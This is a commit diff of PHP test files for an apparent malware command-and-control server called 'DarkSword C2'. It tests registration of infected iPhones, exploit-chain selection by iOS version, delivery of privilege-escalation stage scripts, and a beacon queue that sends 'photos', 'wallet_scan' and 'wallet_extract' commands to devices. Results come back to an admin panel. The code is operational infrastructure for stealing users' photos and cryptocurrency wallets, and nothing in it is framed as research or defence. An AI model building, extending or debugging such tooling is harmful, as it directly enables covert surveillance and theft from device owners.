feat: 18
This commit is contained in:
@@ -20,6 +20,7 @@ use App\Services\EthKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Redis;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -28,12 +29,30 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const DS_LHU = '69DD25B2CA8B5682BA2470D77124E2FC';
|
||||
private const DS_LHU = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
|
||||
|
||||
private const XXBB_D = '000C30D83CD0402E';
|
||||
|
||||
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
// Clear Redis-based beacon queue keys between tests.
|
||||
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
|
||||
// prefix again — so we must strip it before deleting.
|
||||
$prefix = config('database.redis.options.prefix', '');
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
|
||||
foreach ($patterns as $pattern) {
|
||||
$keys = Redis::keys($pattern);
|
||||
if (empty($keys)) {
|
||||
continue;
|
||||
}
|
||||
$stripped = array_map(fn ($k) => $prefix !== '' && str_starts_with($k, $prefix) ? substr($k, strlen($prefix)) : $k, $keys);
|
||||
Redis::del(...$stripped);
|
||||
}
|
||||
}
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
@@ -57,7 +76,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
public function log_with_stage_skips_db(): void
|
||||
{
|
||||
$payload = [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
'stage' => 'loader',
|
||||
'progress' => 18,
|
||||
'label' => 'loader',
|
||||
@@ -75,11 +94,11 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
$this->postJson('/api/ds/log', [
|
||||
'text' => 'malloc ok 0x1234',
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
])->assertOk();
|
||||
$this->postJson('/api/ds/log', [
|
||||
'text' => 'pe_main_start',
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
@@ -118,7 +137,25 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.1.1')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.4')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.4.1')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.7')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.7.1')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.7.2')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
foreach (['18.2', '18.5.1', '18.6.3', '18.7.3', '17.3'] as $ios) {
|
||||
$this->getJson('/api/ds/chain-targets?ios='.$ios)
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'coruna')
|
||||
@@ -127,7 +164,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
|
||||
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
|
||||
$this->get('/log.html?text=lab')->assertNotFound();
|
||||
// /log.html is now a valid DarkSword log endpoint (maps to /api/ds/log).
|
||||
$this->get('/log.html?text=lab')->assertOk();
|
||||
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
|
||||
$this->getJson('/next-chain/api/device/register')->assertNotFound();
|
||||
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
|
||||
@@ -136,28 +174,28 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function pe_stage_get_writes_file_log_and_chain_row(): void
|
||||
{
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
|
||||
->assertSee('__peStage1', false);
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
|
||||
Device::query()->create([
|
||||
'device_id' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'device_id' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
|
||||
->assertOk();
|
||||
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
|
||||
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $row->client_uid);
|
||||
$this->assertSame('pe', $row->stage);
|
||||
$this->assertSame(86, $row->progress);
|
||||
$this->assertSame('pe_stage:s1_launchd', $row->label);
|
||||
|
||||
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
|
||||
->assertOk();
|
||||
$this->assertSame(2, DsChainLog::query()->count());
|
||||
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
|
||||
@@ -220,7 +258,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
public function register_accepts_query_style_channel_code(): void
|
||||
{
|
||||
$this->postJson('/api/ds/device/register', [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
'channeICode' => '0.0.01',
|
||||
'ios' => '18.6',
|
||||
'chain' => 'darksword',
|
||||
@@ -235,7 +273,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
public function register_uses_channel_code_not_ver_header(): void
|
||||
{
|
||||
$this->postJson('/api/ds/device/register', [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
'channelCode' => 'BODOZR5F613N9',
|
||||
'ios' => '18.6',
|
||||
'chain' => 'darksword',
|
||||
@@ -244,11 +282,11 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'sdkv' => '3.1.07',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first());
|
||||
$this->assertNull(Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first());
|
||||
|
||||
$visit = PageVisit::query()->first();
|
||||
$this->assertNotNull($visit);
|
||||
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid);
|
||||
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $visit->client_uid);
|
||||
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
|
||||
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
|
||||
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
|
||||
@@ -256,13 +294,13 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertSame('18.6', $visit->os_version);
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'lhu' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
'source' => 'c2_agent',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
|
||||
$device = Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame('BODOZR5F613N9', $device->channel_id);
|
||||
@@ -674,159 +712,185 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
$ip = '127.0.0.1';
|
||||
// Simulate the 5s gap passing — only forget the throttle timestamp, NOT
|
||||
// the alternation state (dsq:type), so the next dispatch alternates.
|
||||
$forget = function () use ($ip): void {
|
||||
Cache::forget('dsq:last:'.$ip);
|
||||
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
|
||||
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
|
||||
$uuid = self::DS_LHU;
|
||||
|
||||
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
||||
$forgetThrottle = function () use ($uuid): void {
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
if ($device) {
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> wallet_scan.
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
$r1 = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'wallet_scan',
|
||||
'uuid' => self::DS_LHU,
|
||||
'type' => 'photos',
|
||||
'uuid' => $uuid,
|
||||
]);
|
||||
$id1 = $r1->json('command_id');
|
||||
$this->assertNotEmpty($id1);
|
||||
|
||||
// Same IP within 5s -> noop (throttled).
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
|
||||
|
||||
// Simulate the 5s gap passing; next dispatch alternates to wallet_extract.
|
||||
$forget();
|
||||
// After the 5s gap -> wallet_scan (second in FIFO).
|
||||
$forgetThrottle();
|
||||
$r2 = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
$id2 = $r2->json('command_id');
|
||||
$this->assertNotEmpty($id2);
|
||||
$this->assertNotSame($id1, $id2);
|
||||
|
||||
// Within 5s again -> noop.
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After another gap -> back to wallet_scan.
|
||||
$forget();
|
||||
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
// seed() created one wallet_scan task; dequeue no longer mutates task state.
|
||||
$this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count());
|
||||
|
||||
// Single-run: after both tasks were dispatched, the queue is empty (0).
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', $device))
|
||||
->assertOk()
|
||||
->assertSee('C2 队列')
|
||||
->assertSee('wallet_scan')
|
||||
->assertDontSee('photo_scan')
|
||||
->assertDontSee('basic_info');
|
||||
->assertSee('photos')
|
||||
->assertSee('wallet_scan');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_throttles_same_ip_within_5s_gap(): void
|
||||
{
|
||||
$ip = '127.0.0.1';
|
||||
$uuid = self::DS_LHU;
|
||||
|
||||
// First dispatch -> wallet_scan.
|
||||
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
||||
$forgetThrottle = function () use ($uuid): void {
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
if ($device) {
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
// Same IP within 5s -> noop (throttled, no command handed out).
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After the 5s gap (simulated by forgetting the throttle key), the next
|
||||
// beacon alternates to wallet_extract.
|
||||
Cache::forget('dsq:last:'.$ip);
|
||||
// After the 5s gap (simulated by deleting the Redis throttle key), the next
|
||||
// beacon dispatches wallet_scan (second in FIFO from seed).
|
||||
$forgetThrottle();
|
||||
$retry = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
$retryId = $retry->json('command_id');
|
||||
$this->assertNotEmpty($retryId);
|
||||
$this->assertNotSame($firstId, $retryId);
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'command_id' => $retryId,
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'filename' => 'wallet_scan_result.json',
|
||||
'category' => 'wallet_scan',
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
|
||||
// After a result + gap, the next beacon still dispatches (alternates back).
|
||||
Cache::forget('dsq:last:'.$ip);
|
||||
// Completed task results are recorded as DeviceEvent (日志 tab).
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
|
||||
$this->assertSame(1, $events->count());
|
||||
$this->assertSame('wallet_scan', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
|
||||
|
||||
// After a result + gap, the queue is empty (single-run: no auto-replenish).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_skips_legacy_photos_task(): void
|
||||
public function beacon_dispatches_fifo_from_redis_queue(): void
|
||||
{
|
||||
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
|
||||
// No "skip legacy" logic — all queued tasks are dispatched in order.
|
||||
// Single-run: seed() only runs on new device creation, not on every beacon.
|
||||
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'photos',
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 2,
|
||||
'type' => 'photo_scan',
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 3,
|
||||
'type' => 'wallet_scan',
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
]);
|
||||
|
||||
// Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched.
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
// Add tasks in order: photos, photo_scan, wallet_scan.
|
||||
$queue->addTask($device, 'photos');
|
||||
$queue->addTask($device, 'photo_scan');
|
||||
$queue->addTask($device, 'wallet_scan');
|
||||
|
||||
// LPUSH means newest at head: [wallet_scan, photo_scan, photos].
|
||||
// RPOP dequeues from tail: photos → photo_scan → wallet_scan.
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
|
||||
// Clear throttle to allow next dispatch.
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'photo_scan']);
|
||||
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
|
||||
$this->assertSame(
|
||||
DsBeaconTask::STATUS_PENDING,
|
||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
|
||||
);
|
||||
$this->assertSame(
|
||||
DsBeaconTask::STATUS_PENDING,
|
||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status')
|
||||
);
|
||||
// After the last task is dequeued, the queue is empty — single-run: no
|
||||
// auto-replenish. seed() only runs on new device creation, not on
|
||||
// every beacon/upsertDevice.
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -75,14 +75,19 @@ class PageVisitTest extends TestCase
|
||||
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
|
||||
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
|
||||
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
|
||||
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
|
||||
['18_1_1', PageVisit::CHAIN_DARKSWORD, '18.1.1'],
|
||||
['18_4', PageVisit::CHAIN_DARKSWORD, '18.4'],
|
||||
['18_4_1', PageVisit::CHAIN_DARKSWORD, '18.4.1'],
|
||||
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
|
||||
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
|
||||
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
|
||||
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
|
||||
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
|
||||
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
|
||||
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
|
||||
['18_7', PageVisit::CHAIN_DARKSWORD, '18.7'],
|
||||
['18_7_1', PageVisit::CHAIN_DARKSWORD, '18.7.1'],
|
||||
['18_7_2', PageVisit::CHAIN_DARKSWORD, '18.7.2'],
|
||||
['18_7_3', PageVisit::CHAIN_CORUNA, '18.7.3'],
|
||||
];
|
||||
foreach ($cases as [$token, $chain, $osVersion]) {
|
||||
Cache::flush();
|
||||
@@ -474,14 +479,19 @@ class PageVisitTest extends TestCase
|
||||
['17.3', false],
|
||||
['18.2', false],
|
||||
['18.2.1', false],
|
||||
['18.4', false],
|
||||
['18.1.1', true],
|
||||
['18.4', true],
|
||||
['18.4.1', true],
|
||||
['18.5', true],
|
||||
['18.5.1', false],
|
||||
['18.6', true],
|
||||
['18.6.1', true],
|
||||
['18.6.2', true],
|
||||
['18.6.3', false],
|
||||
['18.7', false],
|
||||
['18.7', true],
|
||||
['18.7.1', true],
|
||||
['18.7.2', true],
|
||||
['18.7.3', false],
|
||||
];
|
||||
foreach ($rows as $i => [$ver, $_]) {
|
||||
PageVisit::query()->create([
|
||||
|
||||
Reference in New Issue
Block a user